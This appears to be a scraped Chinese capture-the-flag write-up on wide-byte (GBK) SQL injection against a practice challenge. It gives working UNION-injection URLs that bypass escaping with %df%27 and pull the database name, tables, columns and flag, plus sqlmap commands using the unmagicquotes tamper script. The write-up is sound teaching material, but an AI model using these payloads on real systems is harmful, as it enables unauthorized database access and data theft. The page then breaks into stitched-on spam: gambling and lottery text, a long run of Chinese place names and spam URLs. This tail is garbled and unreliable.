<address id="bjbhz"><dfn id="bjbhz"><output id="bjbhz"></output></dfn></address><address id="bjbhz"><dfn id="bjbhz"></dfn></address>
        <address id="bjbhz"><dfn id="bjbhz"></dfn></address>

        <sub id="bjbhz"><var id="bjbhz"><mark id="bjbhz"></mark></var></sub>
          <sub id="bjbhz"><var id="bjbhz"></var></sub>
          <sub id="bjbhz"><var id="bjbhz"><ins id="bjbhz"></ins></var></sub>

          <address id="bjbhz"><var id="bjbhz"></var></address>
          <address id="bjbhz"><dfn id="bjbhz"></dfn></address>

          <address id="bjbhz"><listing id="bjbhz"><ins id="bjbhz"></ins></listing></address>

            <thead id="bjbhz"></thead>

          (宽字节注入) 手注+sqlmap

          进入题目后先简单尝试一下。

          分享图片

           

          很明显的宽字节注入。

          宽字节注入就是用一个大于128的十六进制数来吃掉转义符\,gbk编码,字节作为一个字符的编码.

          手工注入
          1、判断列数:
          http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 1%23
          http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 2%23
          http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 3%23
          order by 3 时报错,说明只有两列。

          2、各类信息:
          http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
          union select 2,(concat_ws(char(32,58,32),user(),database(),version()))%23
          [email protected] : sae-chinalover : 5.5.52-0ubuntu0.14.04.1

          3、库名:
          http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2 union select 2,database()%23
          sae-chinalover

          4、表名:
          http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
          union select 2,group_concat(table_name)
          from information_schema.tables
          where table_schema=database()%23
          ctf,ctf2,ctf3,ctf4,news

          5、ctf4表的列名:
          http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
          union select 2,group_concat(column_name)
          from information_schema.columns
          where table_name=0x63746634%23
          id,flag

          这里注意:要将表名ctf4转为16进制

          这里提供一个字符串转16进制的网站:

          http://www.5ixuexiwang.com/str/hex.php

          转了16进制之后记得在前面加上0x

          6、flag列的数据:
          http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
          union select 2,(select flag from ctf4)%23
          flag{this_is_sqli_flag}

          sqlmap跑法
          1、查看有哪些库:
          sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes --dbs
          这个时侯就要用到一个脚本了:

          脚本名:unmagicquotes.py

          作用:宽字符绕过

          分享图片

           

           

          2、表名:

          sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` --tables

          分享图片

           

           

          3、列名:

          sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 --columns

           分享图片

           

           

          4、flag列的数据:
          sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 -C flag

          分享图片

          相关文章
          相关标签/搜索
          管家婆香港2018年资料四肖期期准铁算盘4887开奖结果四肖三期内必出刘伯温6374cm刘伯温168最快开奖现场开马开奖结果天天彩票 皮山县| 信阳市| 通榆县| 滁州市| 安平县| 黔西县| 济宁市| 吉林省| 郑州市| 瑞昌市| 竹溪县| 姜堰市| 涞源县| 霍林郭勒市| 黄平县| 新宁县| 南漳县| 固阳县| 黎城县| 广州市| 阳山县| 博野县| 崇仁县| 乌鲁木齐县| 汶川县| 齐齐哈尔市| 汕头市| 湟中县| 苗栗县| 炎陵县| 普兰店市| 太原市| 临颍县| 湘潭市| 宜章县| 宿州市| 大荔县| 芷江| 云和县| 钦州市| 曲靖市| 纳雍县| 五寨县| 元阳县| 齐河县| 柯坪县| 安福县| 临桂县| 永川市| 华容县| 新绛县| 包头市| 大田县| 景宁| 天长市| 东明县| 尤溪县| 台山市| 无棣县| 南华县| 修水县| 静安区| 葵青区| 萍乡市| 乐至县| 若羌县| 崇信县| 田阳县| 三门峡市| 拉萨市| 莱州市| 桃源县| 额敏县| 哈巴河县| 武穴市| 扶绥县| 龙井市| 淄博市| 太仓市| 新建县| 江西省| 安康市| 威海市| 阿合奇县| 西城区| 小金县| 酉阳| 溧阳市| 竹溪县| 平原县| 阿克| 佛学| 桐庐县| 海晏县| 无为县| 遵义市| 抚顺县| 博罗县| 云林县| 仪征市| 荆门市| 桂平市| 静乐县| 巴东县| 卢氏县| 利津县| 漳平市| 山东省| 集安市| 苏州市| 理塘县| 马边| 英吉沙县| 多伦县| 镇江市| 茂名市| 娄烦县| 洛宁县| 开阳县| 绥江县| 淮阳县| 南和县| 宜州市| 汤原县| 颍上县| 阿城市| 遵义县| 宾川县| 尼木县| 乃东县| 西平县| 鄂州市| 鹿邑县| 洞口县| 景宁| 青铜峡市| 乌恰县| 洪洞县| 团风县| 湟源县| 读书| 明光市| 迁安市| 寿阳县| 蓝田县| 商丘市| 翼城县| 清水河县| 佛坪县| 静安区| 清河县| 乳山市| 嵩明县| 天镇县| 资源县| 盐边县| 瑞丽市| 洛浦县| 河西区| 景东| 苍南县| 广灵县| 玉田县| 龙口市| 乐东| 三明市| 大丰市| 兴义市| 永德县| 梅州市| 兴化市| 金乡县| 昌黎县| 策勒县| 江源县| 秭归县| 临西县| 百色市| 紫云| 尼勒克县| 博客| 华容县| 蒲江县| 嘉义市| 榆林市| 江都市| 元谋县| 温宿县| 长寿区| 汕头市| 中宁县| 盐边县| 常州市| 庆安县| 南和县| 延边| 外汇| 封丘县| 玉门市| 麻栗坡县| 崇阳县| 普格县| 桦甸市| 伽师县| 马关县| 赤壁市| 迭部县| 无锡市| 民乐县| 蒙城县| 罗山县| 开封市| 隆昌县| 八宿县| 郑州市| 上饶市| 和林格尔县| 顺义区| 平阳县| 长治县| 习水县| 黄龙县| 长海县| 宝清县| 九寨沟县| 同心县| 灵丘县| 天峨县| 个旧市| 龙陵县| 万宁市| 建德市| 绍兴县| 江城| 囊谦县| 德昌县| 山西省| 白银市| 偃师市| 西畴县| 正宁县| 封开县| 精河县| 班玛县| 六安市| 镇沅| 满洲里市| 株洲市| 博乐市| 合水县| 石城县| 蓬莱市| 怀远县| 浮山县| 正安县| 台安县| 永康市| 芒康县| 汉中市| 孟村| 泉州市| 大石桥市| 堆龙德庆县| 威宁| 翁牛特旗| 蕉岭县| 福建省| 平果县| 九龙县| 堆龙德庆县| 环江| 内乡县| 江门市| 四子王旗| 如东县| 房产| 扶风县| 建始县| 彭山县| 通海县| 荆门市| 旬邑县| 同德县| 滦平县| 尚志市| 将乐县| 克什克腾旗| 松溪县| 桐城市| 秀山| 和林格尔县| 乐都县| 常熟市| 福海县| 芜湖市| 赣榆县| 缙云县| 怀宁县| 龙海市| 云和县| 灯塔市| 化隆| 永川市| 河南省| 和顺县| 桑植县| 资讯| 郸城县| 刚察县| 正镶白旗| 寿阳县| 武清区| 肃北| 玛曲县| 曲周县| 东城区| 榆树市| 洛南县| 高密市| 普陀区| 崇州市| 巴林右旗| 阜新市| 百色市| 黎平县| 成安县| 仙居县| 什邡市| 高唐县| 霍林郭勒市| 海林市| 新竹县| 通山县| 右玉县| 灵川县| 平安县| 常宁市| 海晏县| 桦川县| 海阳市| 富源县| 太白县| 德格县| 九江县| 浦江县| 新乐市| 布尔津县| 溧阳市| 津南区| 柳江县| 襄垣县| 宁津县| 灵武市| 托里县| 青河县| 新宾| 中江县| 黄石市| 岱山县| 绥棱县| 天气| 冀州市| 云龙县| 昭通市| 油尖旺区| 滁州市| 宜宾县| 民勤县| 大洼县| 岳阳市| 施甸县| 楚雄市| 治县。| 中方县| 大冶市| 泉州市| 丰镇市| 得荣县| 新民市| 习水县| 宁城县| 崇州市| 柞水县| 新竹市| 时尚| 祥云县| 区。| 上杭县| 忻城县| 深圳市| 永康市| 腾冲县| 乌拉特前旗| 富川| 塔城市| 修文县| 阿拉善盟| 宣汉县| 泽库县| 天镇县| 通榆县| 邓州市| 崇左市| 加查县| 思南县| 天门市| 库伦旗| 正安县| 灌云县| 江都市| 安多县| 托克托县| 扶沟县| 玉屏| 永登县| 如东县| 开鲁县| 西青区| 信阳市| 台山市| 诸暨市| 香河县| 喜德县| 津市市| 星子县| 南郑县| 沂水县| 昌平区| 涡阳县| 信阳市| 仁寿县| 八宿县| 大渡口区| 东安县| 金门县| 双江| 沭阳县| 青河县| 焦作市| 湟中县| 昌邑市| 龙里县| 花垣县| 清水县| 洪泽县| 景德镇市| 崇义县| 陆丰市| 陆河县| 富源县| 宁陵县| 哈尔滨市| 晋宁县| 宁阳县| 西乡县| 卓资县| 昌邑市| 介休市| 邵阳县| 江安县| 合水县| 武邑县| 库伦旗| 铁岭县| 平泉县| 佳木斯市| 海原县| 泰和县| 杭锦后旗| 神木县| 海门市| 潼关县| 无为县| 西昌市| 历史| 肃北| 娄烦县| 汤原县| 武清区| 黄陵县| 威宁| 马尔康县| 涡阳县| 门源| 金门县| 正镶白旗| 鹿邑县| 教育| 铁岭市| 珠海市| 万山特区| 高邑县| 锡林郭勒盟| 揭东县| 东明县| 万安县| 蒙阴县| 新野县| 北安市| 治多县| 明水县| 棋牌| 云和县| 嵩明县| 房山区| 平罗县| 青浦区| 济南市| 内黄县| 平舆县| 北碚区| 子洲县| 九龙县| 江口县| 成都市| 南昌市| 双鸭山市| 富川| 铁岭县| 余江县| 旺苍县| 翼城县| 洞口县| 宝兴县| 宜章县| 宜宾市| 马关县| 鹿邑县| 上饶市| 红桥区| 筠连县| 宜城市| 论坛| 利辛县| 吴旗县| 东乡县| 蒲城县| 苏州市| 寿光市| 大理市| 民勤县| 哈密市| 阳曲县| 清河县| 台中市| 岐山县| 绿春县| 余江县| 高雄市| 枞阳县| 和平县| 融水| 张掖市| 瑞昌市| 水城县| 辽阳县| 穆棱市| 栾川县| 嘉鱼县| 淳安县| 宝坻区| 堆龙德庆县| 尖扎县| 奉新县| 石嘴山市| 秭归县| 平罗县| 龙南县| 夹江县| 抚宁县| 崇仁县| 泌阳县| 靖远县| 简阳市| 修武县| 泰来县| 克什克腾旗| 舒兰市| 聂拉木县| 富阳市| 博客| 鲁甸县| 灌南县| 宜宾县| 唐山市| 双牌县| 安多县| 新河县| 平陆县| 苗栗县| 治多县| 宜君县| 红河县| 宿州市| 丹东市| 南投县| 潜江市| 和田市| 神农架林区| 讷河市| 富源县| 昌图县| 岳西县| 双桥区| 赤水市| 苗栗市| 环江| 新津县| 鄢陵县| 安陆市| 塔河县| 丰都县| 呼伦贝尔市| 昭通市| 鸡西市| http://wap.jx1870cozfortv.fun http://m.jx1870causev.fun http://jx1870birdv.fun http://3g.jx1870achievev.fun http://3g.jx1870awardv.fun http://m.jx1870closev.fun http://3g.jx1870contributev.fun http://wap.jx1870concernv.fun http://wap.jx1870drivev.fun http://jx1870acceptv.fun http://3g.jx1870codev.fun http://wap.jx1870airv.fun http://3g.jx1870containv.fun http://jx1870appealv.fun http://3g.jx1870cupv.fun http://3g.jx1870downv.fun http://3g.jx1870culturev.fun http://3g.jx1870colourv.fun